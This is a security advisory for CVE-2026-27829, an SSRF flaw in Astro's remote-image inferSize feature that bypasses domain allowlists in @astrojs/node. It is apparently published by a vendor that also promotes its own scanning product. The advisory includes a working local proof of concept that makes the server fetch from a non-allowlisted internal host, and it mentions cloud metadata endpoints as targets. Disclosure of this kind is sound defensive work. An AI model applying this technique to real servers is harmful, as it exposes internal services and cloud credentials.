CVE-2026-27829 is a medium-severity (CVSS 6.5) Server-Side Request Forgery (SSRF) vulnerability in @astrojs/node. A fix is available for @astrojs/node — see the affected versions and patch details below.
Astro is vulnerable to SSRF due to missing allowlist enforcement in remote image inferSize
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-27829 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@astrojs/nodenpmDescription
Summary
A bug in Astro's image pipeline allows bypassing image.domains / image.remotePatterns restrictions, enabling the server to fetch content from unauthorized remote hosts.
Details
Astro provides an inferSize option that fetches remote images at render time to determine their dimensions. Remote image fetches are intended to be restricted to domains the site developer has manually authorized (using the image.domains or image.remotePatterns options).
However, when inferSize is used, no domain validation is performed — the image is fetched from any host regardless of the configured restrictions. An attacker who can influence the image URL (e.g., via CMS content or user-supplied data) can cause the server to fetch from arbitrary hosts.
PoC
<details>Setup
Create a new Astro project with the following files:
package.json:
{
"name": "poc-ssrf-infersize",
"private": true,
"scripts": {
"dev": "astro dev --port 4322",
"build": "astro build"
},
"dependencies": {
"astro": "5.17.2",
"@astrojs/node": "9.5.3"
}
}
astro.config.mjs — only localhost:9000 is authorized:
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
image: {
remotePatterns: [
{ hostname: 'localhost', port: '9000' }
]
}
});
internal-service.mjs — simulates an internal service on a non-allowlisted host (127.0.0.1:8888):
import { createServer } from 'node:http';
const GIF = Buffer.from('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==', 'base64');
createServer((req, res) => {
console.log(`[INTERNAL] Received: ${req.method} ${req.url}`);
res.writeHead(200, { 'Content-Type': 'image/gif', 'Content-Length': GIF.length });
res.end(GIF);
}).listen(8888, '127.0.0.1', () => console.log('Internal service on 127.0.0.1:8888'));
src/pages/test.astro:
---
import { getImage } from 'astro:assets';
const result = await getImage({
src: 'http://127.0.0.1:8888/internal-api',
inferSize: true,
alt: 'test'
});
---
<html><body>
<p>Width: {result.options.width}, Height: {result.options.height}</p>
</body></html>
Steps to reproduce
- Run
npm installand start the internal service:
node internal-service.mjs
- Start the dev server:
npm run dev
- Request the page:
curl http://localhost:4322/test
internal-service.mjslogsReceived: GET /internal-api— the request was sent to127.0.0.1:8888despite onlylocalhost:9000being in the allowlist.
Impact
Allows bypassing image.domains / image.remotePatterns restrictions to make server-side requests to unauthorized hosts. This includes the risk of server-side request forgery (SSRF) against internal network services and cloud metadata endpoints.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @astrojs/node | ≥ 9.0.0&&< 9.5.4 | 9.5.4npm install @astrojs/node@9.5.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @astrojs/node, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @astrojs/node to 9.5.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-27829 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-27829 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-27829. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-27829 in your dependencies?
O3 Security finds CVE-2026-27829 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.